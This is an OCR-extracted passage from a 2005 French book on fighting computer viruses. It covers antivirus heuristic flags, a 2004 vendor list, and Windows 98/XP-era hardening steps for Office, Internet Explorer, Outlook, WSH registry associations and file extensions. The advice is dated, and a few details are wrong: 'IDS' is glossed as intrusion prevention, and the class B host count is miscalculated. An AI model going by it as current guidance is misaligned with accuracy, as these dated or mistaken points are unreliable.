1. VELDMAN Frans (1995),

Heuristic Anti-Virus Technology

, Disponible à l’adresse :http://www.madchat.org/vxdevl/papers/av-oriented/heuris.txt.

F Accès suspect vers d’autres fichiers. Le programme semble contenir un processus d’infec-tion.

R Relocation. Le code se reloge en mémoire de façon suspecte.

A Allocation Mémoire Suspecte. L’allocation mémoire utilise une méthode non standard.

N Extension non conforme. Aux vues de la structure du programme, l’extension du fichiern’est pas conforme à ce qu’elle devrait être.

S Routine de recherche d’exécutables (.COM ou .EXE).

# Routine de décryptage.

E Point d’Entrée flexible. Le code semble construit pour permettre une introduction facile ausein d’un exécutable quelconque.

L Capacité d’intercepter d’autres programmes se chargeant en mémoire.

D Ecriture en mode physique. Le programme écrit sur le disque sans passer par le DOS.

M Résident en mémoire.

! Opcodes invalides et sauts en erreur.

T Date et heure incorrecte.

PAGET_Ch08 Page 229 Lundi, 11. avril 2005 5:24 17

230 Chapitre 8. Les logiciels anti-virus

La pertinence de ce modèle de recherche fut facilement démontrée lorsqu’il futappliqué à des familles virales connues.

Des fausses alertes, inconvénients de la méthode, ne manquèrent pas d’apparaî-tre. Bien connu des programmateurs DOS, le programme loadhi.com1 devint unmoment suspect aux yeux de TbScan. L’indicateur retournait la valeur AMUZO.

Aujourd’hui encore, la parade consiste à reconnaître ces programmes légitimespour les éliminer d’office avant, après ou pendant l’analyse.

Il est tout à fait possible de revisiter la méthode ci-dessus pour l’appliquer auxprogrammes actuels. Pour des fichiers binaires Windows suspects, il est possible deciter :

• Un point d’entrée dans la dernière section.• Un point d’entrée avant la première section.

J Une succession de saut

? Entête de fichier incorrecte.

G Code inutile et superflu.

U Appel à une interruption DOS non documentée.

Z Routine de détermination EXE ou COM

O Routine de déplacement ou d’écrasement d’espace mémoire.

B Routine de re-direction sur Point d’Entrée modifié.

K Utilisation inhabituelle de la pile mémoire (zone de stack).

Tableau 8.4 — Modèle de recherche heuristique appliquée à quelques virus connus

FAMILLE VIRALE VALEUR DE L’INDICATEUR

Jerusalem FRLMUZ

Backfont FRALDMUZK

Ghost FELDTGUZB

Murphy FSLDMTUZO

Ninja FEDMTUZOBK

Tolbuhin ASEDMUOB

Yankee_Doodle FN#ELMUZB

1. Loadhi.com : élément du gestionnaire de mémoire QEMM.

PAGET_Ch08 Page 230 Lundi, 11. avril 2005 5:24 17

231©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it8.2 Les principaux concepteurs de produits anti-virus

• Un saut inter-section.• Des caractéristiques de sections inattendues.• Un nom de section inattendu.• Une boucle de décryptage simple ou polymorphe au point d’entrée.• Des instructions inattendues (fonctionnalités d’émission de mails, instruc-

tions liées à des exploits connus ou à des séquences anti-débug…).

8.1.5 Le monitoring de programmes

Il s’agit ici d’analyse comportementale. Elle repose sur l’analyse dynamique desopérations de lecture et d’écriture en mémoire ou sur un support physique. Citonssimplement à titre d’exemple trois évènements majeurs qu’il semble bon desurveiller :

• L’écriture en mode physique sur un disque dur.• La recopie de fichiers entrants dans un répertoire système.• La modification de la base de registres par un programme non autorisé.

Par le passé, cette méthode fut parfois directement couplée à l’anti-virus. Sonprincipal défaut était le déclenchement d’alertes intempestives qu’un utilisateur nonaverti n’était pas toujours à même d’interpréter : s’agissait-il d’une manifestationd’un virus inconnu ou d’un fonctionnement normal ?

On remarquait aussi, pour certains produits, un blocage brutal de l’application encour lorsque celle ci était désignée comme suspecte. Sous Windows95, cela s’ests’avéré fréquemment dangereux ; à cette époque nombre de ces produits de sécuriténe semblaient pas maîtriser la technologie 32 bits.

Aujourd’hui, ce procédé est mis en oeuvre au sein de produits réservés à cetteeffet. La phase d’installation de ces logiciels dédiés débute par un apprentissage etune reconnaissance des opérations légitimes. La détection qui en résulte dépasse lar-gement la sphère anti-virale pour s’attacher à prévenir tout type d’intrusion. Cesnouveaux produits deviennent indispensables alors que la frontière en auteurs devirus et criminels informatiques de tout bord s’amenuise de jour en jour.

8.2 LES PRINCIPAUX CONCEPTEURS DE PRODUITS ANTI-VIRUS

Le tableau ci-après regroupe les principaux fournisseurs d’anti-virus. Ces informa-tions sont sujettes à changement ; elles étaient valides en septembre 2004.

PAGET_Ch08 Page 231 Lundi, 11. avril 2005 5:24 17

232 Chapitre 8. Les logiciels anti-virus

Tableau 8.5 — Les principaux constructeurs de produit anti-virus

COMPAGNIEANTI-VIRUS(STATION

DE TRAVAIL)SITE WEB & CONTACT

AhnLab V3Pro Deluxe http://info.ahnlab.com/english/

Aladdin Knowledge Systems

eSafe http://www.ealaddin.com/http://[email protected]

Alwil Trade Ltd AVAST ! http://www.asw.cz/index.htmlhttp://www.alwil.com

Authentium Command Antivirus http://www.authentium.co.uk/index.cfm

CAT Computer Services Pvt. Ltd.

Quick Heal http://www.quickheal.com/http://[email protected]

Central Command Inc

Vexira http://www.centralcommand.com/index.html

Computer Associates

ETrust Antivirus http://ca.com/offices/belgium/french/[email protected]

CyberSoft VFind http://www.cybersoft.com

Eset NOD32 http://www.nod32.com/home/[email protected]

Frisk Software International

F-Prot http://www.f-prot.com/index.htmlhttp://www.hermitagesolutions.com/public/pages/32000.php

F-Secure F-Secure Anti-Virus http://www.f-secure.com/[email protected]

G DATA AntiVirenKit http://www.gdata.de/[email protected]

GeCAD Software RAV AntiVirus http://www.ravantivirus.com/pages/[email protected]

Ggreat ZLOCK http://www.ggreat.com/

Grisoft AVG Anti-Virus http://www.avgfrance.com

H+BEDV Datentech-nik GmbH

AntiVir http://www.hbedv.com/

Hauri ViRobot http://www.hauri.net/[email protected]

Ikarus Software Virus utilities http://www.ikarus-software.at/portal/[email protected]

PAGET_Ch08 Page 232 Lundi, 11. avril 2005 5:24 17

233©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it8.2 Les principaux concepteurs de produits anti-virus

COMPAGNIEANTI-VIRUS(STATION

DE TRAVAIL)SITE WEB & CONTACT

Kapersky Lab KAV http://www.kaspersky.com/fr/[email protected]

Leprechaun VirusBUSTER II http://www.leprechaun.com.au/

McAfee VirusScan http://www.mcafee.com/fr/

MicroWorld Technologies Inc.

eScan http://www.mwti.net

MkS Sp z o.o. mks_vir http://www.mks.com.pl/[email protected]

NetZ ComputingLtd

InVircible http://invircible.com

New TechnologyWave Inc.

Virus Chaser http://www.viruschaser.com/Eng/index.jsp

Norman ASA Norman Virus Control

http://www.norman.com/fr/support.shtml

Panda Software Titanium Antivirus http://www.pandasoftware.com/fr/[email protected]

PER SYSTEMS S.A. Per Antivirus http://www.perantivirus.com/

Prognet Technologies

Fire anti-virus http://www.fireav.com/company/contact.htm

Proland Software Protector Plus http://www.pspl.com

Rising Rising Antivirus Software

http://www.rising-eu.com/

Softwin Bit Defender http://fr.bitdefender.com/bd/site/page.phphttp://[email protected]

Sophos Sweep http://www.sophos.fr/[email protected]

SRN micro systems Solo Antivirus http://www.antivirus-download.com/

St.Petersburgantivirus laboratoryby Igor Daniliff(SalD Ltd.)

Dr.Web http://www.sald.com/

Symantec Norton AntiVirus http://www.symantec.fr/

Tegam International Viguard http://www.viguard.org/fr/[email protected]

PAGET_Ch08 Page 233 Lundi, 11. avril 2005 5:24 17

234 Chapitre 8. Les logiciels anti-virus

COMPAGNIEANTI-VIRUS(STATION

DE TRAVAIL)SITE WEB & CONTACT

Trend Micro PC-cillin http://fr.trendmicro-europe.com/

Vcatch Vcatch http://www.vcatch.com/index.html

VirusBuster Kft. VirusBuster http://www.virusbuster.hu/en/

PAGET_Ch08 Page 234 Lundi, 11. avril 2005 5:24 17

9

Organiser la lutteanti-virale

L’organisation de la lutte anti-virale passe par la mise en place d’outils de détectionet de prévention depuis le poste de travail jusqu’aux passerelles. Il faut aussi mettreen œuvre, puis respecter d’un certain nombre de grandes règles, souvent pleines debon sens. À coté de celles-ci des mesures plus terre à terre, des modifications de para-métrage dans la configuration par défaut des systèmes d’exploitation et des logicielsbureautiques, permettront de mieux coller à la réalité de la menace qui se diversifie.

Ce sont ces divers points qui vont être abordés dans ce chapitre.

9.1 LES GRANDES RÈGLES À RESPECTER

L’anti-virus comme seul parade aux virus informatiques actuels ne suffit plus.Certains virus et vers utilisent de nouvelles méthodes de propagation et d’action :

• Ils ne résident qu’en mémoire vive et se propagent via le flux Internet.• Ils exploitent des failles liées au système d’exploitation et au réseau.• Ils s’associent à des outils de piratage.• Ils utilisent la technique du

spam

pour initialiser leur propagation.

J’invite le lecteur à consulter le

Référentiel Dunod

dédié à la protection des systè-mes d’information

1

. Dans le chapitre dédié à la lutte anti-virale j’y présente, avec

1. Ce Référentiel se veut être la bible à la fois du responsable sécurité et de tous ceux qui, sansoccuper cette fonction, sont confrontés à la mise en œuvre ou à la gestion des politiques de sécu-rité.

PAGET_Ch09 Page 235 Lundi, 11. avril 2005 5:23 17

236 Chapitre 9. Organiser la lutte anti-virale

l’aide de mes collègues du CLUSIF, la sphère informatique comme une série deniveaux concentriques avec :

• Les ressources propres à l’utilisateur.• Les ressources partagées.• Les passerelles.• Le monde extérieur.

Chacun de ces espaces peut être attaqué et doit être réglementé.

Les lignes de ce sous-chapitre sont une reprise partielle de la section du

Référentiel

dédié à l’organisation de la lutte anti-virale.

9.1.1 Les ressources propres à l’utilisateur

Il s’agit principalement du poste fixe ou nomade. L’homme moderne ajoutera à sapanoplie un PDA et envisagera l’investissement pour un téléphone de troisièmegénération.

La protection du poste de travail est déterminante. Il doit être équipé de son pro-pre anti-virus. Même si le virus pénètre la passerelle Internet dans un format nonreconnu, même s’il n’est pas détecté sur le serveur, il doit être intercepté avant quel’utilisateur n’ait son poste infecté.

Maintenir à jour le logiciel antivirus de la station de travail est l’une des tachesles plus ardues de l’administrateur système. Ceci est spécialement le cas sur les équi-pements nomades qui ne sont pas connectés en permanence au réseau. Les sociétésdéveloppant des anti-virus offrent leurs propres outils de déploiement. Dès qu’unparc informatique devient moindrement important, leur utilisation devient indis-pensable.

Il est aussi impératif de pouvoir verrouiller la configuration choisie afin d’éviterune modification de la configuration ou une désactivation volontaire ou involon-taire du produit.

Associé à l’anti-virus, le pare-feu personnel est indispensable. Il permet le pas-sage sélectif des flux d’information entre la machine et le réseau interne et/ou public.Il protège le poste nomade et le poste installé dans l’entreprise des attaques venantdu NET et le réseau d’entreprise des attaques pouvant venir du poste de travail.

Le pare-feu personnel s’installe directement sur la machine de l’utilisateur, qu’ilsoit un particulier ou un employé

nomade

de l’entreprise.

Les mises à jours critiques qui s’appliquent au système d’exploitation doivent êtreappliquées de manière rigoureuse.

Pour le poste de travail, l’automatisation de l’installation des correctifs de sécu-rité demeure l’option recommandée. Les personnes ayant une connexion lente peu-vent demander à Microsoft l’envoi d’un kit qui contient l’ensemble des mises à jourcritiques pour Microsoft Windows.

PAGET_Ch09 Page 236 Lundi, 11. avril 2005 5:23 17

237

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

9.1 Les grandes règles à respecter

Des offres de sécurités existent aujourd’hui pour les PDA. Elles protègent ceséquipements contre les quelques virus et chevaux de Troie actuels.

9.1.2 Les ressources partagées

Le poste de travail n’est pas isolé, dans l’entreprise, il s’interface avec des serveurs dedonnées ou de fichiers. L’utilisateur a aussi à sa disposition des imprimantes multi-fonctions modernes et des photocopieurs numériques qui sont à eux seuls de vérita-bles ordinateurs.

L’application des mises à jours critiques, des correctifs (

patchs

) et des mises à jourapplicatives ou systèmes s’étendent aussi aux ressources partagées. Les administra-teurs doivent de préférence utiliser des outils dédiés qui en gèreront le déploiement.Ces gestionnaires de correctif et de configuration aideront et superviseront tout lesprocessus de mise en place.

Rappelons qu’il est très fortement déconseillé de naviguer sur Internet à partird’un serveur. Ce procédé semble très pratique pour récupérer un correctif, consulterune base de connaissances, mais il vaut mieux le faire d’une autre station, et obligerles intervenants extérieurs à faire de même.

Même si l’anti-virus risque d’induire une dégradation dans la vitesse du trafic,celui ci est fortement conseillé en entrée/sortie des serveurs de donnée partagés.

Il ne faut pas négliger trop rapidement les périphériques modernes. Ils peuventcontenir un système d’exploitation vulnérable et faire l’objet d’attaques de toutordre, y compris virales.

9.1.3 Les passerelles

Avec la passerelle Internet, le serveur de messagerie et le routeur, nous sommes à laporte d’un monde qui peut s’avérer hostile. La mise en place d’un anti-virus et d’unpare-feu est ici de la plus grande importance. En complément des équipementspersonnels, ceux-ci complèteront les dispositifs précédemment décrits en protégeantle réseau interne de l’entreprise lorsque celui-ci débouche vers l’extérieur.

Les antivirus pour passerelles devront traiter le plus grand nombre de types detrafic (FTP, HTTP, SMTP…) et savoir analyser un large panel de formats de docu-ments.

La certification de l’antivirus face aux systèmes d’exploitation accueillant les ser-veurs de messagerie et de fichiers en sera le principal atout.

Le contrôle de contenu est une solution de surveillance dédiée à la messagerieélectronique et à la navigation Internet (HTTP, FTP…). Outre le fait que certainsde ces outils savent détecter les virus et autres codes malveillants, ils permettent uneanalyse lexicale par mots clés dans les mails ou dans les URL.

L’installation d’un logiciel anti-spam permettra de bloquer ou de limiter la proli-fération des messages non-sollicités ou les phénomènes de mailbombing.

PAGET_Ch09 Page 237 Lundi, 11. avril 2005 5:23 17

238 Chapitre 9. Organiser la lutte anti-virale

Les solutions IDS et IPS combinent logiciel et matériel.

Fonctionnant comme des solutions anti-virus ou anti-spam, les systèmes dedétection d’intrusions (IDS – Intrusion Prevention System) se réfèrent à une base designatures d’attaques connues. Elles ne peuvent détecter que celles dont elles possè-dent la signature.

Afin de donner à leur solution plus de réactivité lorsqu’une attaque surgit, cer-tains éditeurs ont décidé de transformer leur offre en IPS (Intrusion Prevention Sys-tem). Ils axent leur technologie vers la prévention proactive, capable de réagir entemps réel lorsque qu’une anomalie est détectée ou qu’une intrusion est avérée.

L’équipement fonctionne selon des règles de comportement et de signaturesd’attaques, il surveille les attaques en dépassement de tampon (

buffer overflow

), lesélévations de privilèges, les chargement en mémoire et les modifications critiques dusystème d’exploitation, l’utilisation excessive du CPU, la diminution soudaine de labande passante, etc.

Ces équipements signalent des divergences par rapport au fonctionnement nor-mal des éléments surveillés. Contrairement au pare-feu, qui traite des requêtes et lesinterdit, un tel système les analyse de façon continue et ne réagissent qu’en casd’anomalies.

9.1.4 Le monde extérieur

Une fois l’entreprise sécurisée, le monde extérieur n’a pas disparu. Le particulier estaujourd’hui la principale cible des virus, son ordinateur devient ainsi le principalpollueur du NET. Tout ordinateur domestique est une source potentielled’attaque au regard du virus qu’il est susceptible de renfermer, celui ci peut mêmeparfois contenir :

• Un module d’attaque ciblé.• Des URL et adresses de messagerie précises et liées à une entreprise particu-

lière.

Des scanners de vulnérabilité peuvent permettre de faire un audit en évaluant larésistance des machines au sein d’un réseau protégé. Un outil efficace doit savoirdétecter les failles et préconiser des solutions.

9.1.5 La dimension humaine

En temps qu’utilisateur ou administrateur système, l’homme se retrouve acteur etresponsable à tous les niveaux. La formation et l’information doivent être au cœurdu dispositif organisationnel. La sensibilisation n’est jamais définitivement acquise,elle doit faire l’objet de rappels périodiques et adaptés. Ces dispositions doivent seconcrétiser dans :

• Une politique de charte.• Un règlement intérieur.

PAGET_Ch09 Page 238 Lundi, 11. avril 2005 5:23 17

239

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

9.2 Techniques de protection

En entreprise, il est possible de nommer des correspondants sécurités qui pour-ront servir de relais bidirectionnels dans leur environnement proche.

En prise directe avec les utilisateurs, la cellule de soutien technique (

HelpDesk

)doit travailler en lien étroit avec l’équipe sécurité. Elle doit savoir comment réagirface aux interrogations des utilisateurs et évaluer la pertinence d’une mise à jour for-cée et anticipée des outils de protection. Elle doit aussi pouvoir évaluer un risqueponctuel imposant un changement temporaire du niveau de sécurité appliqué (blo-cage d’une nouvelle extension de fichier, passage au mode d’analyse heuristique,etc.).

Selon l’importance de l’entreprise ou envisagera ou non, la mise en place d’équi-pes d’astreinte (pour la veille technologique et l’intervention) pouvant aller jusqu’au24/24 – 7 jours sur 7.

9.1.6 La politique des mises à jour

La mise en place de procédures automatiques doit se calquer sur la périodicité desmises à disposition de mises à jour par le fournisseur de l’anti-virus installé. Seulecette acceptation peut permettre une réactivité suffisante face aux menacesactuelles.

Ces mises à jour automatiques peuvent se faire de manière ordonnancée en privi-légiant le périmètre et les serveurs vitaux.

On n’oubliera pas d’appliquer de manière régulière les correctifs liés aux systèmesd’exploitation. Se calquant sur Microsoft, il est souhaitable d’envisager des mises àjour mensuelles.

9.2 TECHNIQUES DE PROTECTION

Les virus s’attaquent souvent à des logiciels ou à leurs failles, ils s’introduisent parfoispar le biais de fonctionnalités inutilisées. D’une manière générale, les installationsstandards sont singulièrement vulnérables.

Retirer certaines fonctionnalités telles que le partage de fichier ou le partage debureau

Net Meeting

permet d’obtenir des postes plus performants et moins sensiblesaux virus. Par ailleurs, les correctifs à appliquer en sont d’autant moins nombreux etla gestion de son parc s’en retrouve affermie.

Le paramétrage des applications, en particulier la navigation Internet et la mes-sagerie doit faire l’objet de procédures scrupuleuses. Le navigateur de Microsoft estparticulièrement visé par les virus, au delà des correctifs à appliquer régulièrement, ilfaut renforcer la sécurité en modifiant les paramètres de navigation par défaut quisont parfois très permissifs (exemple : ouverture automatique de contenus actifs). Nepas ouvrir automatiquement les pièces jointes est une bonne mesure.

Le principe de prudence serait de rendre

passive

la navigation sur Internet, et den’accepter que le contenu actif (java, scripts, active x, cookies) de sites choisis.

PAGET_Ch09 Page 239 Lundi, 11. avril 2005 5:23 17

240 Chapitre 9. Organiser la lutte anti-virale

Ce paramétrage pouvant être bloquant sur certains sites mal développés, l’utilisa-teur doit être formé comme cela a déjà été indiqué plus haut.

Le client de messagerie standard Microsoft étant basé sur le paramétrage de sécu-rité du navigateur, on voit bien l’importance de ce type d’action.

9.2.1 Les anciennes méthodes

Nous ne nous attarderons pas ici à les détailler. Rappelons simplement qu’il est bonde :

• Modifier l’ordre de démarrage du système en changeant la séquence duCMOS :– CD-ROM, puis– Disque dur, puis– Disquette.

• D’être capable de générer dans l’urgence un CD-ROM de démarrage compati-ble avec son système d’exploitation et contenant un anti-virus à jour du type

ligne de commande

1

.

• D’être capable de restaurer depuis les CD-ROM originaux un ou plusieursfichiers particuliers.

• Configurez la messagerie pour n’autoriser qu’un nombre limité d’extensions :fichiers au format TXT, RTF, CSV, ZIP et PGP.

• Protéger son PC contre les accès non-autorisés. Un nouvel accessoire intitulé

Wireless PC Lock

permet d’éviter que le premier venu n’accède à votremachine

2

. Il rend les fonctions du PC inaccessibles dès que vous vous éloignezde votre PC.

9.2.2 Les suites office

Face aux macro-virus, notons simplement ici les principales recommandations :

• Mettre en lecture seule les fichiers

normal.dot

et

blank presentation.pot

.• Vérifier le contenu et utiliser les répertoires de démarrage.• Activer les protections internes contre les macro-virus.• Pour l’échange de vos documents Word, utilisez uniquement les fichiers

RichText Format (RTF)

.• Pour l’échange des documents Excel, privilégier les fichiers au format

CSV

3

.

1. Un outil intéressant est disponible sur le site : http://severinterrier.free.fr/Boot/PE-Builder/.2. Une description complète du produit est disponible sur le site du guide du routard :http://www.routard.com/mag_objn.asp?id_obn=254.3. L’extension *.CSV est un format de fichiers texte dont le contenu est délimité par un élémenttypographique tel qu’une virgule, un point-virgule ou une tabulation.

PAGET_Ch09 Page 240 Lundi, 11. avril 2005 5:23 17

241

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

9.2 Techniques de protection

Au sujet d’Office 2000, je recommande la lecture de l’étude menée par DarrenChi & Raul Elnitiarta dans le numéro d’octobre 1999 du

Virus Bulletin

1

. On noteraparmi leurs recommandations, également valables pour Office 2003 :

• Configurer chaque application avec un niveau de sécurité maximal.• Ne pas activer le choix

Faire confiance à tous les modèles et compléments installés

(onglet

Sources fiables

du sous-menu

Outils/Macro/Sécurité

. En versionanglaise, ce choix est intitulé

Trust all installed add-ins and templates

.

Figure 9.1

Règles de sécurités optimales pour la suite Office 2003

9.2.3 Internet explorer

Le niveau de sécurité offert par défaut est

Moyen

. Dans cette configuration, la navi-gation Internet se trouve fortement facilitée. Si l’ensemble des mises à jour sécuri-taires a été effectué et si l’anti-virus est mis à jour très régulièrement, l’utilisateurpeut se considérer comme suffisamment protégé. Les deux niveaux infèrieurs sont àproscrire.

Si l’on souhaite augmenter son niveau de sécurité, il faut créer à partir du niveau

moye

n un niveau personnalisé en positionnant certaines options autorisées à unevaleur plus sécurisante. On atteint la fenêtre de configuration par le choix

Outils/Options Internet…/Sécurité

puis le bouton

Personnaliser le niveau…

. Les paramètres àconsidérer sont :

• Contrôles ActiveX et plug-ins :– Contrôles ActiveX reconnus surs pour l’écriture de scripts

Demander.– Contrôles d’initialisation et de script ActiveX non marqués

Désactiver.– Exécuter les contrôles ActiveX et les plug-ins

Demander.

1. CHI Darren & ELNITIARTA Paul (1999),

Office 2000 and Macro Security

, Virus Bulletin,octobre 1999, pp 14-16.

PAGET_Ch09 Page 241 Lundi, 11. avril 2005 5:23 17

242 Chapitre 9. Organiser la lutte anti-virale

– Télécharger les contrôles ActiveX non signés

Demander.– Télécharger les contrôles ActiveX signé

Demander.

• Microsoft VM :– Autorisation Java

Haute Sécurité.

• Script :– Permettre les opérations de collage via les scripts

Demander.– Script des applets Java

Demander.

L’inconvénient de cette méthode est l’apparition de nombreuses boites de dialo-gue au cours de la navigation. C’est la raison pour laquelle je ne peux préconisercette configuration que dans le cas d’une navigation

à risque

.

Les termes

sûr

et

signé

font référence à des certificats numériques de sécurité éta-blis par des autorités reconnues à la demande des éditeurs. Ils sont censés garantirque le programme appelé a bien été créé par tel éditeur de confiance.

9.2.4 Outlook et Outlook Express

L’autorisation de l’envoi et de la réception de mails au format HTML est un réeldanger. Ni Outlook, ni Outlook Express ne peuvent être configurés en entrée pourune conversion automatique vers le format texte. Vous pouvez par contre imposerun envoi de mail dans un format souhaité.

Avec la version française d’Outlook, le sous-menu

Outils/Options…

vous proposeun onglet

Format du courrier

. Vous pouvez alors éliminer le choix

HTML

en choisis-sant à votre convenance

Format RTF

ou

Texte brut

.

Figure 9.2

Paramétrage de l’onglet

Format du courrier

d’Outlook

PAGET_Ch09 Page 242 Lundi, 11. avril 2005 5:23 17

243

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

9.2 Techniques de protection

Attention, cette configuration n’influe pas sur le type de format en réponse à unmail. Celui-ci reste par défaut identique à celui du mail reçu.

Sous Outlook Express, vous choisirez l’onglet

Envoyer

(le sous-menu

Outils/Options…

). Vous pourrez alors choisir entre

HTML

et

Texte brut

.

Figure 9.3

— Paramétrage des

Envois

sous Outlook Express

Sous Outlook, les options de prévisualisation sont paramétrables via le menu

Affichage

et les choix

Volet de lecture

et

Aperçu partiel

.

Avec Outlook Express, le choix

Affichage/Disposition…

vous permet d’activer ounon la prévisualisation (choix

Afficher le volet de visualisation

).

Figure 9.4

Paramétrage du

volet de prévisualisation

sous Outlook Express

PAGET_Ch09 Page 243 Lundi, 11. avril 2005 5:23 17

244 Chapitre 9. Organiser la lutte anti-virale

9.2.5 Windows Scripting Host

Ce logiciel est aujourd’hui indispensable pour une navigation correcte sur Internetet il n’est plus envisageable d’en proposer la suppression.

Sur une machine sensible, il est cependant possible de modifier les liens d’autochargement dans la base de registres. On remplacera :

Hkey_Classes_Root\VBSFile\Shell\Open\Command: c:\win98\wscript.exe “%1” %”Hkey_Classes_Root\VBSFile\Shell\Open2\Command: c:\win98\command\cscript.exe “%1” %”par:Hkey_Classes_Root\VBSFile\Shell\Open\Command: c:\win98\notepad.exe “%1” %”Hkey_Classes_Root\VBSFile\Shell\Open2\Command: c:\win98\command\notepad.exe “%1” %”

Suite à cette manipulation, l’exécution d’un fichier de script ne se fera plus ni viaun double-clic, ni via le bouton droit de la souris (choix

Ouvrir). Au lieu d’une exé-cution, ces commandes ouvriront l’éditeur de texte notepad et vous permettront devisualiser le contenu du fichier de script.

Pour permettre une exécution rapide des fichiers, vous créerez une nouvelle cléde type Execute :

Hkey_Classes_Root\VBSFile\Shell\Open\Execute: c:\win98\wscript.exe “%1” %”Hkey_Classes_Root\VBSFile\Shell\Open2\Execute: c:\win98\command\cscript.exe “%1” %”

Un click droit de la souris vous offrira alors un choix Exécuter qui vous permettrade réaliser cette fonction.

Si vous devez conserver en l’état WSH, ne répondez jamais immédiatement Ouien présence de la boite de dialogue Alerte de Sécurité. Vérifiez avec votre éditeur detexte le contenu de la page suspecte.

9.2.6 Simples et doubles extensions

De nombreux virus utilisent la technique de la double extension.

Dans sa configuration standard, l’Explorateur Windows est généralement incapa-ble de vous alerter du phénomène : il ne les visualise pas. Il faut donc veiller à modi-fier la configuration de l’affichage en suivant le cheminement :

• Poste de travail.• Outils.• Option des dossiers…

Dans l’onglet Affichage, on décochera l’option Cacher les extensions des fichiersdont le type est connu.

De même de nombreux virus utilisent des extensions peu connues du type exécu-tables. Pour toutes celles ci, il est intéressant de modifier les associations entre cesextensions et l’action entreprise par le système d’exploitation en cas de double-clic.On procède pour cela de la manière suivante :

• Poste de travail.

PAGET_Ch09 Page 244 Lundi, 11. avril 2005 5:23 17

245©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.2 Techniques de protection

• Outils.• Option des dossiers…

Figure 9.5 — Paramétrage de l’onglet Affichage de l’Explorateur Windows

Dans l’onglet Types de fichiers, il faut maintenant rechercher les extensions à ris-que. Citons parmi elles : JS, JSE, OTF, REG, SCT, SHB, SHS, VBE, VBS, WSC,WSF, et WSH.

Pour chacune d’entre elle, il faudra modifier le programme que l’on souhaite uti-liser pour son ouverture. Ce réglage se fait via le bouton Modifier… puis le choix duBloc-notes.

Figure 9.6 — Paramétrage de l’onglet Types de fichiers de l’Explorateur Windows – Modification d’extension

PAGET_Ch09 Page 245 Lundi, 11. avril 2005 5:23 17

246 Chapitre 9. Organiser la lutte anti-virale

Il faudra ensuite vérifier la présence de l’extension PIF. Si celle-ci est absente, onl’ajoutera en lui associant ensuite le Bloc-notes selon la technique précédente.

Figure 9.7 — Paramétrage de l’onglet Types de fichiersde l’Explorateur Windows – Ajout d’extension

9.2.7 L’extension SHS

De nombreux virus utilisent la technique de la double extension pour tenter detromper la vigilance de l’utilisateur qui, s’il n’y prend garde, croit recevoir un fichiertexte inoffensif.

À titre d’exemple, VBS/LoveLetter.A@MM diffuse un fichier LOVE-LETTER-FOR-YOU.TXT.vbs.

Le virus VBS/LifeStages.A@MM est plus subtil, il diffuse un fichier intituléLIFE_STAGES.TXT.SHS.

L’extension en question est dédiée aux fichiers du type ShellScrap. Elle reste invi-sible à l’utilisateur même s’il a configuré l’Explorateur Windows pour une visualisa-tion complète des extensions de fichier telle que nous l’avons indiqué plus haut.

L’autorisation de la visualisation de l’extension SHS doit se faire via l’éditeur dela base de registres :

• Lancez Regedit.• Edition/Rechercher…• Indiquez comme chaîne de caractère à rechercher ShellScrap et cliquez sur

Suivant.• La première occurrence trouvée correspond généralement à la clé

HKEY_CLASSES-ROOT\.shs.

PAGET_Ch09 Page 246 Lundi, 11. avril 2005 5:23 17

247©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.2 Techniques de protection

• Continuez la recherche en choisissant Edition/Suivant.• La clé suivante est normalement HKEY_CLASSES-ROOT\ShellScrap. C’est

elle qui doit être modifiée.• Dans la fenêtre de droite, choisissez la ligne NeverShowExt, et faites apparaître

le menu conceptuel via le bouton droit de la souris.• Exécutez le choix Supprimer.• Quittez Regedit.

Figure 9.8 — Éditeur du registre regedit –Paramétrage de l’extension ShellScrap

9.2.8 Paramètres réseau

Parmi toutes les adresses IP disponibles, il existe trois classes IP privées. Ellespeuvent être utilisées en toute liberté au sein d’une entreprise ou chez un particulier.Ne pouvant se connecter directement à Internet, elles sont plus résistantes aux atta-ques. Il est donc conseillé de les employer comme valeurs par défaut pour le proto-cole Internet TCP/IP.

Il s’agit ici de l’adresse physique liée à votre carte réseau. Lors de l’installation devotre passerelle Internet, une adresse IP virtuelle, fixe ou variable, vous sera attri-buée, c’est au travers de celle ci que s’effectuera votre accès distant.

Toujours en lien avec les propriétés de connexion au réseau Internet, deux com-posants installés par défaut peuvent être généralement désactivés ; il s’agit du :

• Client pour le réseau Microsoft.• Partage de fichiers et d’imprimantes pour les réseaux Microsoft.

PAGET_Ch09 Page 247 Lundi, 11. avril 2005 5:23 17

248 Chapitre 9. Organiser la lutte anti-virale

S’ils restent sélectionnés, alors que vos adresses IP sont différentes de celles pro-posées ci-dessus, votre station ou votre réseau reste généralement vulnérable malgrél’installation d’un pare-feu configuré avec ses options par défaut.

Figure 9.9 — Paramétrage réseau – Protocole TCP-IP

Si vous utilisez une carte WiFi, cette recommandation reste bien sur valable.

Sources alternativesAfin d’être moins vulnérables, il vous est aussi possible de choisir des logiciels alter-natifs à l’offre de Microsoft. Deux logiciels en version française doivent retenir votreattention :

• Navigateur Internet : Mozilla FireFox.• Outil de messagerie : Mozilla Thunderbird.

Tableau 9.1 — Classes privées d’adresses IP

Nom de classe privée

Adresse IP Nombre maximum de machines connectables

A 10.x.y.z, où : 0 <= x <= 255 0 <= y <= 255 0 <= z <= 255

(256*256*256) – 2 = 16 777 214

B 172.x.y.z, où : 16 <= x <= 31 0 <= y <= 255 0 <= z <= 255

(15*256*256) – 2 = 1 048 574

C 192.168.x.y, où : 0 <= x <= 255 0 <= y <= 255

(256*256) – 2 = 65 534

PAGET_Ch09 Page 248 Lundi, 11. avril 2005 5:23 17

249©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.3 Choisir son anti-virus

Ces logiciels sont très conviviaux. Sachez cependant que votre accès sur le siteWindows Update n’est pas géré par FireFox ; le conseil qui vous est parfois donner desupprimer l’intégralité de Windows Explorer doit donc être suivi en toute connais-sance de cause.

Figure 9.10 — FireFox ne permet pas l’activation automatique de Windows Update

